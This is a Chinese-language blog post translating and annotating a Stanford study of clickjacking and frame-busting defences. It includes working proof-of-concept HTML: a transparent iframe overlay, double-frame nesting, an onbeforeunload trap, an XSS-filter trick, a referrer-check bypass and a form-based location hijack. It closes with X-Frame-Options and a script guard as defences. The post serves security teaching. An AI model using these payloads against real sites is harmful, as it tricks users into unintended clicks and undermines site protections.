Busting Frame Busting: a Study of Clickjacking Vulnerabilities on Popular Sites

Busting Frame Busting
Reference From: http://seclab.stanford.edu/websec/framebusting/framebust.pdf
Translated By: LittleHann

 

 

1. 摘要

基于Web Frame的攻击例如: ClickJacking,一般使用iframes去劫持用户的web session。目前最普遍的防御手段被称之为frame busting,即阻止当页面加载一个frame的时候对当前页面产生影响。

 

2. 介绍

Frame busting依靠防御代码来防止页面加载一个嵌套的frame,它是防御ClickJacking的主要手段。Frame busting同时还被用在保护login登录页面上,如果没有frame busting,那个这个login登录页面能够在任何的嵌套的子frame中打开。一些新型的高级ClickJacking技术使用Drag-and-Drop去提取敏感隐私数据并且注入到另一个frame中,完成数据窃取。

上图演示了一个ClickJacking。原始的页面被一个透明的的frame(内容是在的,只是视觉上是透明的)覆盖在了原本的页面图层的上面。当用户和原始的页面进行交互的时候(例如点击),他们在不知情的情况下和恶意的frame页面进行了交互,达到了欺骗劫持的目的。

为了对抗这种ClickJacking攻击,业界普通采用这种做法: frame busting bode

if(top.location != location)

{

  top.location = self.location;

}

frame busting code一般由一个条件表达式和纠正动作(即跳转)组成。即将顶层页面导航值当前页面。

我们的调查显示:

大多数的网站还仅仅是做了简单的代码防御,即把top.location(覆盖在原始页面上的"恶意"frame重定向回sefl.location("正确"的frame))。针对ClickJacking的防御并没有得到重视。

 

 

 

3. ClickJacking的常规防御方法

frame busting 的条件判断语句:

if (top != self)
if (top.location != self.location)
if (top.location != location)
if (parent.frames.length > 0)
if (window != top)
if (window.top !== window.self)
if (window.self != window.top)
if (parent && parent != window)
if (parent && parent.frames && parent.frames.length>0)
if((self.parent&&!(self.parent===self))&&(self.parent.frames.length!=0))

frame busting 的纠正动作代码:

 

top.location = self.location
top.location.href = document.location.href
top.location.href = self.location.href
top.location.replace(self.location)
top.location.href = window.location.href
top.location.replace(document.location)
top.location.href = window.location.href
top.location.href = "URL"
document.write('')
top.location = location
top.location.replace(document.location)
top.location.replace('URL')
top.location.href = document.location
top.location.replace(window.location.href)
top.location.href = location.href
self.parent.location = document.location
parent.location.href = self.document.location
top.location.href = self.location
top.location = window.location
top.location.replace(window.location.pathname)
window.top.location = window.self.location
setTimeout(function(){document.body.innerHTML='';},1);
window.self.onload = function(evt){document.body.innerHTML='';}
var url = window.location.href; top.location.replace(url)


对于这种防御方法,我的理解是这样的:
这是一个对于frame覆盖的poc演示:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html>
<head>
    <title>Click Jack!</title>  
    <style type="text/css">  
        iframe
        {
            width: 900px;
            height: 250px;

            /* Use absolute positioning to line up update button with fake button */
            position: absolute;
            top: -195px;
            left: -740px;
            z-index: 2;

            /* Hide from view */
            -moz-opacity: 0.5;
            opacity: 0.5;
            filter: alpha(opacity=0.5);
        }

        button
        {
            position: absolute;
            top: 10px;
            left: 10px;
            z-index: 1;
            width: 120px;
        }
    </style>     
</head>
<body>
     <iframe src="http://www.baidu.com" scrolling="no"></iframe>
     <button>Click Here!</button>
</body>
</html>

注意这个<iframe src="http://www.baidu.com" scrolling="no"></iframe>其实是在当前BOM(http://www.dreamdu.com/javascript/what_is_bom/)中插入了一个新的窗体window,而在一个
BOM中,各个window之间的地位是平级的,区分它们的视觉参数只有z-index。当两个window产生覆盖时,这两个window之间就有了top和parent的父子关系,即frame覆盖的问题。

攻击者通过控制iframe的长、宽以及调整top、left的位置,可以把iframe页面内的任意部分覆盖到任何地方。
同时设置iframe的position为absolute,并将z-index的值设置为最大,以达到让iframe处于页面的最上层。最后,通过设置opacity来控制iframe页面的透明度,值0是完全不可见。
这样,就完成了一次点击劫持攻击。




3. ClickJacking的绕过方法

3.1 Double Frame 双框架嵌套绕过法
之前介绍的普通的ClickJacking防御代码中只是简单的对parent.location进行赋值来进行frame覆盖的纠正。
这在当前页面只被攻击者覆盖了一个frame的情况能起到很好的防御作用。然后,如果攻击者在当前页面上覆盖了两个的frame(Double Frame),情况就不一样了。

建立两个页面:

1.html代码为:

<iframe src="2.html">

2.html代码为:

<iframe src="http://www.victim.com">

访问1.html之后可以看到页面并无跳转等动作。

 

 

 

3.2 onBeforeUnload函数的利用

我对这个函数的理解是,我们可以把它看成是一个DOM的生命周期函数,它在一个页面将要被关闭时调用。而这个所谓的页面"关闭"包括刷新和URL的跳转。这个“生命周期”函数可以为我们用来对抗frame busting的防御代码。即传统的frame busting的原理就是检测当前的top.location是否和self.location是否一致,如果不一致就进行URL的跳转,而这个跳转可以被攻击者通过onBeforeUnload注册的回调函数拦截下来,进行相应的处理。

如下的防御代码:

if(top != self) top.location.replace(location);

新建立页面,代码如下:

<script>
var framekiller = true;
window.onbeforeunload = function() 
{
  if(framekiller)
  {
    return "Write something here to keep people stay!";
  }
}; </script> <iframe src="http://www.victim.com/">

打开页面显示如下:

欺骗用户点击留在此页后显示:

 

 

 

 

3.3 针对XSS Filter的攻击和利用

IE8和Google Chrome引入了一个XSS Filter机制来防止页面中出现典型的XSS 攻击。但是,反过来,XSS Filter也可能被用来对抗frame busting的代码。

防御代码如下:

if(top!=self)
{ top.location=self.location; }

新建立页面,代码如下:

<iframe src="http://www.victim.com/?<script>">

访问后页面显示:

 

 

IE的xss筛选器自动拦截了跳转。可以看到,原本的frame busting防御代码的跳转被IE XSS Filter当成了恶意跳转给拦了下来。这突然让我想到了一个原则:

"所有的安全漏洞都来自于原本正常的功能。关键是我们对这个功能的理解深刻程度以及利用方式"

 

 

 

 

3.4 Referer检查的问题

有一些站点允许自己的域名嵌套自己,禁止外站对自己的嵌套。

通常是用document.referer来检测来源是否为自己的域名。

if(top.location!=location){
    if(document.referrer && document.referrer.indexOf("aaa.com")==1)
    {
        top.location.replace(document.location.href);
    }
}

判断字符串中是否含有本域名是常见的错误用法,利用二级域名的方式便可绕过,如:

http://aaa.com.bbb.com

注:从https域下post数据到http域的时候,浏览器不带Referer。

 

 

 

3.5 location劫持

在IE浏览器中,如果能够在防御代码的前面可以插入form表单的话,可以利用form表单对location进行劫持。

<form name=self location="javascript:alert(1)"></form>
<script>
if(top!=self)
{ top.location=self.location } </script>

用iframe嵌套此代码,可以看到没有跳转,执行了alert(1)。

 

 

 

4. 推荐防御的方法

4.1 X-FRAME-OPTIONS

X-FRAME-OPTIONS是微软提出的一个http头,专门用来防御利用iframe嵌套的点击劫持攻击。

并且在IE8、Firefox3.6、Chrome4以上的版本均能很好的支持。

这个头有三个值:

DENY               // 拒绝任何域加载

SAMEORIGIN         // 允许同源域下加载

ALLOW-FROM         // 可以定义允许frame加载的页面地址

 

php中设置示例:

header ( "X-FRAME-OPTIONS:DENY");




4.2 目前最好的js的防御方案为
<head>
<style> body { display : none;} </style>
</head>
<body>
<script>
if (self == top) 
{ var theBody = document.getElementsByTagName('body')[0]; theBody.style.display = "block"; }
else
{ top.location = self.location; } </script>
posted @ 2013-10-24 14:38 LittleHann 阅读(...) 评论(...) 编辑 收藏